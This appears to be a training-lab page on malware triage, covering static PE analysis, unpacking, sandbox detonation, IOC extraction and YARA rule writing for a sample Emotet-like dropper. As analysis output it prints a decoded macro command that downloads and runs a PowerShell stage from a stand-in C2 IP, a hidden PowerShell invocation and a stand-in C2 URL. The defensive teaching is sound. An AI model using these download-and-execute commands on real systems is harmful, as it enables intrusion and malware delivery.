Master the four-phase malware analysis pipeline — initial identification and VirusTotal triage, static analysis of PE structure, strings, and imports, controlled sandbox detonation to map all behaviours, and IOC extraction culminating in YARA rule development — all without touching production systems or running untrusted code outside an isolated environment.
Malware Triage and Analysis
Malware triage is the process of rapidly characterising an unknown malicious file to determine its capability, family, and behaviour — without executing it on a production system. The goal is to answer the analyst's immediate questions: What does this malware do? Has it been seen before? What IOCs should we hunt for across the environment? Does it inject into processes, communicate with C2, establish persistence?
Expert-level triage combines static analysis (examining the file without running it), dynamic analysis (executing in a controlled sandbox), and network analysis (examining C2 communication patterns captured during sandbox detonation). Together these produce a comprehensive threat profile that drives both containment decisions and environment-wide hunting.
Static vs Dynamic — What Each Reveals
The two analysis modes are complementary, not redundant. Static analysis examines the file's structure and content without running it — fast, safe, and sufficient to identify known samples, extract embedded IOCs, and detect obfuscation. Dynamic analysis executes the malware in a controlled sandbox and records every action — slower, requires isolation, but reveals runtime behaviour that static analysis cannot: decrypted C2 communications, injected code that exists only in memory, and conditional behaviour triggered by specific system states.
The practical workflow runs static analysis first because it's fastest and lowest risk, using those results to decide how much dynamic analysis is warranted. A known Emotet sample with 54/72 VirusTotal detections and an existing community report may need only IOC extraction, not full manual analysis. An unknown sample with zero detections and no prior history warrants every phase of the pipeline.
Imagine receiving a suspicious unmarked package. Static analysis is like using X-ray and chemical sensors to examine the package without opening it — you can determine the shape of the contents, identify known materials, and detect certain threats without any risk. Dynamic analysis is like opening it in a fully contained bomb disposal chamber — you see exactly what's inside and what it does, but only because you've surrounded it with every protective barrier available. The X-ray (static) might be enough to identify the package as already known-dangerous and route it for disposal. Only genuinely unknown packages need the full disposal-chamber examination. The key is that under no circumstances does anyone open the package in the office.
The Malware Analysis Workflow
Phase 1: Identification File type, hash (MD5/SHA-1/SHA-256), VirusTotal lookup, known family? First seen date, active campaigns, community reports Phase 2: Static Analysis Strings extraction: URLs, IPs, registry keys, mutex names, error messages Import table: which Windows API functions does it call? PE header: sections, entropy, compile timestamp, resources Packed? Obfuscated? Self-modifying? → unpack before analysis Phase 3: Dynamic Analysis Sandbox detonation: processes spawned, files created, registry changes Network activity: DNS queries, C2 connections, PCAP of communications Behavioural report: timeline of all observed actions Phase 4: IOC Extraction and YARA C2 IPs/domains, mutex names, file paths, registry keys, hashes YARA rule from unique strings or byte sequences for environment-wide hunting
Malware Triage in Practice
The first step: hash the file and check threat intelligence before spending time on manual analysis. If it's a known sample, existing reports save hours and provide a head start on IOC extraction.
sha256sum suspicious.exe 3a4f8b2c1d9e7f6a5b4c3d2e1f0a9b8c7d6e5f4a3b2c1d0e9f8a7b6c5d4e3f2a # VirusTotal hash lookup (never upload the file -- hash lookup is sufficient): Detection: 54/72 engines Family: Trojan.GenericKD / Emotet / MSHTA.Dropper First seen: 2026-05-12 (2 days ago -- active campaign) Community: "Emotet epoch 4 variant, drops IcedID as secondary payload" # Known sample -- use existing VT report as IOC extraction starting point # Check VT Relations tab for C2 IPs already identified by community
String extraction reveals embedded artefacts: URLs, IP addresses, registry paths, mutex names, and error messages that directly expose the malware's capability and infrastructure.
strings suspicious.exe | grep -E "http|192\.|10\.|cmd|powershell|HKEY" http://c2-server.attacker.com/gate.php powershell -ep bypass -w hidden HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Global\MutexName_abc123 # C2 URL, PowerShell execution, registry persistence, and mutex all visible in strings dumpbin /imports suspicious.exe | grep -E "VirtualAlloc|WriteProcessMemory|CreateRemoteThread" VirtualAllocEx WriteProcessMemory CreateRemoteThread # These three imports together = process injection capability (the classic injection triad)
Automated sandbox analysis (Any.run, Cuckoo, JoeSandbox) executes the malware and logs every action — without risk to production systems. The report maps all behaviours comprehensively.
Sandbox Report -- suspicious.exe (30-second detonation) Processes Created: suspicious.exe spawns: powershell.exe -enc JABz... powershell spawns: svchost32.exe (injected into memory) Files Created: C:\Users\Public\svchost32.exe (dropper second-stage payload) C:\ProgramData\update.dll (DLL sideloading component) Registry: HKCU\Run\WindowsUpdate = C:\Users\Public\svchost32.exe (persistence) Network: DNS: c2-server.attacker.com -> 185.220.101.45 TCP: 185.220.101.45:443 HTTPS (beacon every 300 seconds)
Packers compress or encrypt the malware payload to evade static analysis. Detecting packing must precede any string or import analysis — you're analysing the packer, not the actual malware, until you unpack.
peid suspicious.exe UPX 3.96 [NRV2B, brute force] -> Markus Oberhumer # Packed with UPX -- unpack first, then re-run string extraction: upx -d suspicious.exe -o unpacked.exe detect-it-easy suspicious2.exe Packer: MPRESS 2.19 (x86) # MPRESS requires manual or emulation-based unpacking (no simple CLI tool) # Entropy analysis: PE section entropy > 7.0 = likely packed or encrypted payload
After identifying unique strings or byte patterns in the malware, write a YARA rule to hunt for the same family across the entire environment — email, endpoints, and network shares.
rule Emotet_Loader_2026 { meta: description = "Detects Emotet epoch 4 loader variant" date = "2026-05-14" hash = "3a4f8b2c..." strings: $c2 = "gate.php" ascii $mutex = "MutexName_abc123" wide ascii $psh = "powershell -ep bypass -w hidden" ascii nocase $inj = { 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 } condition: uint16(0) == 0x5A4D and 2 of them } # uint16(0)==0x5A4D = valid Windows PE file (MZ header) # "2 of them" = requires at least 2 string matches to reduce false positives
What You Need to Know
Understanding the PE File Format
Windows executable files (PE format — Portable Executable) follow a defined structure that reveals significant information about the malware before a single byte of code runs. Understanding PE structure is the foundation of effective static analysis: every PE file contains a header with metadata, one or more sections containing code and data, an import table listing required Windows API functions, and optionally an export table, resources, and digital signature.
Compile timestamp: When was the binary compiled? Far-future or far-past timestamps indicate tampering. Many malware families set this to zero or a fixed date to frustrate attribution.
Section entropy: Code sections normally have entropy of 5.5–6.5. Values above 7.0 strongly suggest compression or encryption (packing). pecheck.py or CFF Explorer show per-section entropy.
Number of sections: Standard Windows PE files have 5–8 sections (.text, .data, .rdata, .rsrc, .reloc etc.). A PE with 1–2 sections, or with unusually named sections (UPX0, UPX1), is almost always packed.
Size of image vs size of raw data: A large virtual size with small raw data indicates unpacking at runtime — the packer stub decompresses the real code into memory.
The import table lists every Windows API function the executable calls. This single data source reveals the malware's entire capability set before execution:
Network capability: WSAStartup, connect, send, recv, InternetOpen, WinHttpConnect.
Process injection: VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, NtCreateThreadEx.
Persistence: RegSetValueEx, CreateService, RegisterTaskDefinition.
Credential access: CryptAcquireContext, NtQuerySystemInformation (LSASS access).
Anti-analysis: IsDebuggerPresent, CheckRemoteDebuggerPresent, GetTickCount (timing attack), NtQueryInformationProcess.
Using freely available tools to extract the complete static picture from a suspicious PE before any sandbox detonation.
# Step 1: Basic file type and hash file suspicious.exe && sha256sum suspicious.exe suspicious.exe: PE32 executable (GUI) Intel 80386 3a4f8b2c1d9e7f6a5b4c3d2e1f0a9b8c... # Step 2: PE section entropy (detect packing) python3 pecheck.py suspicious.exe Section: .text entropy: 7.82 (HIGH -- likely packed) Section: .data entropy: 1.12 (low -- normal data) # Step 3: Identify packer and unpack detect-it-easy suspicious.exe Packer: UPX 3.96 upx -d suspicious.exe -o unpacked.exe # Step 4: Import table on unpacked binary python3 pecheck.py unpacked.exe --imports VirtualAllocEx, WriteProcessMemory, CreateRemoteThread (injection triad) WSAStartup, connect, send, recv (network capability) RegSetValueEx, CreateServiceA (persistence) # Step 5: Full string extraction on unpacked binary floss unpacked.exe | grep -iE "http|gate|cmd|mutex|HKEY" http://c2-server.attacker.com/gate.php Global\MutexName_abc123
IOC Taxonomy — From Analysis to Hunting
Every malware analysis session must produce a structured set of Indicators of Compromise that drive immediate hunting across the environment. IOCs are only useful if they are specific enough to have a low false positive rate while broad enough to catch all variants of the same family. This balance is achieved by choosing IOCs at the right abstraction level — not too specific (a unique hash catches only one exact file) and not too broad (a common string appears in thousands of legitimate files).
| IOC Type | Example | Lifespan | Hunting Value |
|---|---|---|---|
| File hash (SHA-256) | 3a4f8b2c1d9e7f... | Very short — one recompile changes it | High precision for known exact sample; zero coverage for variants |
| Mutex name | Global\MutexName_abc123 | Medium — persists across minor variants | High — mutex names are often hardcoded across a family's lifetime |
| C2 domain | c2-server.attacker.com | Short — operators rotate infrastructure | High immediately; expires fast. Block + hunt simultaneously. |
| C2 IP | 185.220.101.45 | Short — IP rotation common | High for firewall blocking; hunt historical connections while live |
| Registry key path | HKCU\...\Run\WindowsUpdate | Long — persistence keys reused across campaigns | Medium — also used by legitimate software; check value data too |
| Dropped file path | C:\Users\Public\svchost32.exe | Medium — path patterns persist across campaigns | High — "svchost32" in non-System32 path is highly anomalous |
| YARA rule (byte pattern) | Injection triad byte sequence | Long — code patterns stable across family | High — catches all variants sharing the core code; low false positive rate |
From Unknown Sample to Full IOC Report
Submission: Email security gateway quarantines a .docm attachment (Invoice_May2026.docm) from an external sender. Hash lookup on VirusTotal: 0/72 detections. First submitted 4 hours ago. No community reports. Unknown sample — full pipeline required.
Phase 1 — Identification: SHA-256 hash recorded. VT: 0 detections, first submitted 4 hours ago by an analyst at a different organisation — active campaign. File command confirms: Microsoft Office Open XML with macro. Macro-enabled Office documents are a classic delivery vector.
Phase 2 — Static analysis: olevba (macro analysis tool) extracts the VBA macro without opening the file. Macro contains: AutoOpen() function (executes on document open), PowerShell invocation with base64-encoded command, download from external URL. Base64 decoded: IEX (New-Object Net.WebClient).DownloadString('http://185.220.101.45/stage2.ps1'). IOC extracted: 185.220.101.45, URL path /stage2.ps1.
Phase 3 — Dynamic analysis: Detonated in isolated Windows 10 VM on REMnux host-only network segment with FakeNet-NG simulating internet responses. Macro executed, PowerShell ran, FakeNet captured the DNS query (c2-server.attacker.com → 185.220.101.45) and HTTP GET for stage2.ps1. Stage2 payload creates: C:\ProgramData\svchost32.exe, registry Run key, then begins 300-second HTTPS beaconing to 185.220.101.45:443. Process tree: WINWORD.EXE → powershell.exe → svchost32.exe.
Phase 4 — IOC extraction and YARA: IOCs: IP 185.220.101.45, domain c2-server.attacker.com, dropped binary path C:\ProgramData\svchost32.exe, Run key value name "WindowsDefenderHelper", mutex Global\MutexABC123. YARA rule written targeting: macro string "AutoOpen" + PowerShell download string + "svchost32" in non-System32 path. YARA deployed to EDR for environment-wide hunt — finds 3 additional endpoints that received the same email and opened the attachment before gateway quarantine was applied.
Core Concepts Summary
You've covered the theory. Now apply it hands-on in the simulated environment.
Start Lab — Malware Triage→← Return to all labs